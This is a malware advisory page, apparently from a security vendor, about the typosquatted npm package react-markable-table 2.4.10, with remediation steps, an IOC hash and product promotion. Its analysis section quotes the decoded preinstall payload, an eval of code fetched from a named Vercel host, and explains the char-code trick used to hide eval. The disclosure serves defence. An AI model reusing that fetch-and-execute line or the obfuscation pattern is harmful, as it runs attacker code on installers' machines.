Which versions of react-markable-table are malicious?

The following npm versions of react-markable-table are flagged malicious: 2.4.10. Treat any of these as compromised.

How do I remediate react-markable-table if I installed it?

react-markable-table is a typosquat — you almost certainly intended a legitimately-named package. Remove react-markable-table, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed react-markable-table — how do I know if it already compromised me?

If react-markable-table was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is react-markable-table part of a known attack campaign?

Yes — react-markable-table is associated with the IN-MAL-2026-010245 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find react-markable-table across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for react-markable-table (version 2.4.10). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging react-markable-table across your stack and pipelines.

Malicious package

react-markable-tablenpm

Malicious code in react-markable-table (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-10446

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall react-markable-table

What this malware does

[email protected] is a typosquat of markdown-table (declared repo field wooorm/markdown-table). package.json declares a preinstall hook that runs node index.d.js. That script base64-decodes an embedded payload which resolves to eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2').then(r=>r.text())), and invokes it via globalThis[tag](text) where tag is reconstructed from the char-code array [101,118,97,108] (spelling eval). Installing the package causes arbitrary attacker-controlled JavaScript to be fetched from a non-publisher Vercel host and executed in-process on the installer's machine at npm install time.

Malicious versions

1 flagged

2.4.10

Indicators of compromise (SHA-256)

da0db97919f41757fe4bcdc456d52ec0ecfbb89741438e5805a7bf5188b022c5

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for react-markable-table (version 2.4.10). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging react-markable-table across your stack and pipelines.
If you installed it — respond
react-markable-table is a typosquat — you almost certainly intended a legitimately-named package. Remove react-markable-table, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If react-markable-table was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks react-markable-table before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. react-markable-table on npm has been identified as a malicious package (version 2.4.10 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010245

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks react-markable-table-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring